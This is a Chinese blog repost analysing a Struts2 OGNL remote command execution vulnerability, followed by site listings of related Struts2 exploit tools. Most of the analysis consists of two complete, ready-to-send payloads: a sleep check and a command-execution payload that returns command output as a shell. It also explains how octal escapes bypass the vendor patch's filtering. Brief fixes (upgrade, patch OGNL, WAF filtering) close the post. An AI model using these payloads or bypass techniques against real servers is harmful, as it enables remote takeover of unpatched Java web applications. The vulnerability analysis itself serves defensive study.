`

Struts2远程命令执行漏洞分析及防范

 
阅读更多
近期Struts2爆发了一远程命令执行漏洞,知道wooyun的童鞋应该清楚其危害性和火爆程度,各种版本的漏洞利用工具让CNVD非常的蛋疼.下面贴出wooyun livers大大针对此漏洞的分析.



以POST的方式提交绕过对输入参数的部分过滤。



('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))

当前线程sleep 8S

命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。

如@Runtime@getRuntime().exec

@class@method 访问静态方法

xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。



实现交互的shell.

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))



\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他

老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。



这样上面就是

1.设置上下文denyMethodExecution=false 运行方法执行

2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)

设置外部拦截器为空

3.mycmd=“ls -l” 定义我们的执行命令的变量

4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)

5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流 (post)

6.myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

7.mystr=new java.lang.String(#myres) ;定义并赋值输入流

8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。



另外再贴一下wooyun关于此struts2漏洞的讨论帖子的Url:http://zone.wooyun.org/content/200



livers大大的blog:http://livers.sinaapp.com/



Struts2漏洞修复方案:



下载最新的版本2.3.4 :http://struts.apache.org/download.cgi#struts234



或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。



waf之类的,安全点就只保留字母数字,其它的全部删除
分享到:
评论

相关推荐

    Struts2远程命令执行验证工具

    这个标题提到的“Struts2远程命令执行验证工具”就是专门针对这类漏洞设计的检测和分析软件。 Struts2远程命令执行漏洞,通常被称为S2-045或CVE-2017-5638,是由于Struts2框架在处理特定的HTTP头信息时存在缺陷,...

    远程命令执行漏洞

    Struts2是一款流行的Java Web框架,它曾经曝出过一个严重的远程命令执行漏洞。 在描述中提到的"NULL"可能是指该漏洞的具体细节没有给出,但我们可以从标签"源码"和"工具"推测,这可能涉及到源代码分析和利用工具。...

    K8 Struts2 Exp 20160516(Struts2综合漏洞利用工具)

    3. **后渗透操作**:一旦漏洞被成功利用,工具可能包含进一步的脚本或命令,以便进行如文件上传、下载、系统命令执行等后渗透活动。 **防范措施** 为了防止Struts2漏洞被利用,开发者和管理员应采取以下策略: 1....

    Struts2漏洞利用工具2017版

    S2-019,又称为“Struts2 Rest Plugin远程代码执行漏洞”,主要是由于Struts2 REST插件处理XML请求时存在的问题,使得攻击者可以通过发送精心构造的XML请求来执行任意代码。解决方法是禁用REST插件或升级Struts2到...

    [百度安全中心博客-neobyte]Struts2 S2-020在Tomcat 8下的命令执行分析1

    Struts2 S2-020 是一个针对Apache Struts2框架的安全漏洞,该漏洞主要涉及到OGNL(Object-Graph Navigation Language)表达式中的命令执行风险。在2014年,这个漏洞被广泛讨论,因为它允许攻击者通过精心构造的输入...

    Struts2漏洞利用工具-可用于检测

    然而,Struts2在过去的几年里遭遇了一系列的安全漏洞,这些漏洞可能使攻击者能够远程执行代码,从而对系统造成严重威胁。 标题提及的“Struts2漏洞利用工具”是一种用于检测Struts2框架是否存在已知安全漏洞的工具...

    struts2漏洞利用工具

    然而,Struts2在过去的几年中遭受了一系列的安全漏洞,这些漏洞使得恶意攻击者能够利用这些弱点对服务器进行攻击,包括远程代码执行(RCE)、信息泄露等严重问题。本文将深入探讨Struts2漏洞及其利用工具,帮助读者...

    【2017版】Struts2漏洞检查工具

    S2-045漏洞,全称为“Struts2 REST插件远程命令执行”,是由于Struts2 REST插件的不当处理导致的。攻击者可以通过构造特定的HTTP请求,利用该漏洞执行任意系统命令。修复此漏洞通常涉及更新Struts2框架到不受影响的...

    struts2-scan_struts2-scan_struts2scan_scan_struts2漏洞_

    然而,它在历史上曾出现过多个安全漏洞,其中最著名的就是“Struts2漏洞”。这个标题和描述提到的"struts2-scan"是一种工具,专门用来检测Struts2框架中的安全漏洞。 Struts2漏洞通常涉及到框架的核心组件,例如...

    struts2 漏洞利用工具.rar

    这个漏洞源于Struts2的Jakarta插件对OGNL(Object-Graph Navigation Language)表达式处理不当,允许攻击者通过HTTP请求头注入恶意代码,进而执行任意系统命令。利用此漏洞,攻击者可以实现远程代码执行(RCE),...

    第30天:WEB漏洞-RCE代码及命令执行漏洞全解1

    **WEB漏洞-RCE代码及命令执行漏洞全解** 在Web应用程序的开发过程中,为了实现功能的多样性与便捷性,程序员常常会使用代码调用或命令执行功能。然而,这种做法也可能带来严重的安全风险,即代码执行(RCE,Remote ...

    struts2漏洞检查工具201708

    对于开发团队来说,除了使用漏洞检查工具外,还应保持Struts2框架及依赖库的更新,遵循最佳安全实践,如限制用户输入、使用安全的MVC模式、以及应用严格的访问控制策略。 总的来说,理解Struts2漏洞的本质和防范...

    关于Apache Struts 2软件存在高危漏洞的紧急通报003

    根据温州市网络与信息安全信息通报中心发布的紧急通报(2017年第3期),Apache Struts 2软件中存在一个远程命令执行高危漏洞。此漏洞被正式编号为CVE-2017-5638,它允许攻击者在不受影响的服务器上执行任意命令。受...

    Struts2漏洞检查工具2018版.zip

    2. **s2-037**:这是另一个远程代码执行漏洞,主要由于Struts2的`OgnlActionSupport`类处理用户输入不当导致。攻击者可以利用这个漏洞在服务器上执行任意代码,影响范围广泛。 3. **s2-019**:此漏洞允许攻击者通过...

    Struts终极漏洞利用工具及代码

    除了CVE-2017-5638之外,Struts2还经历过多个其他漏洞,如CVE-2016-1000031(Struts2远程命令执行漏洞)、CVE-2013-2271(Struts2文件上传漏洞)等。每个漏洞都有其特定的利用机制和防范措施,需要开发者及时关注并...

    02命令执行代码注入漏洞.pptx

    命令执行和代码注入漏洞是网络安全领域中的...总的来说,理解并防范命令执行和代码注入漏洞是保护系统安全的关键。开发者应始终牢记“不要信任用户输入”,并在设计和实现中采取适当的防护措施,确保应用程序的安全性。

    Struts2安全漏洞实用

    在Struts2框架中,存在多种类型的漏洞,其中最著名的是CVE-2017-5638,即Struts2远程命令执行漏洞。这个漏洞源于Struts2的REST插件,当用户提交了一个特定格式的HTTP头部时,攻击者可以利用这个漏洞执行任意系统命令...

    Struts终极漏洞利用工具

    1. **CVE-2017-5638:Struts2 S2-045漏洞**:这是一个远程代码执行漏洞,由于OGNL(Object-Graph Navigation Language)表达式处理不当,攻击者可以通过精心构造的HTTP请求头注入恶意代码,导致服务器被控制。...

Global site tag (gtag.js) - Google Analytics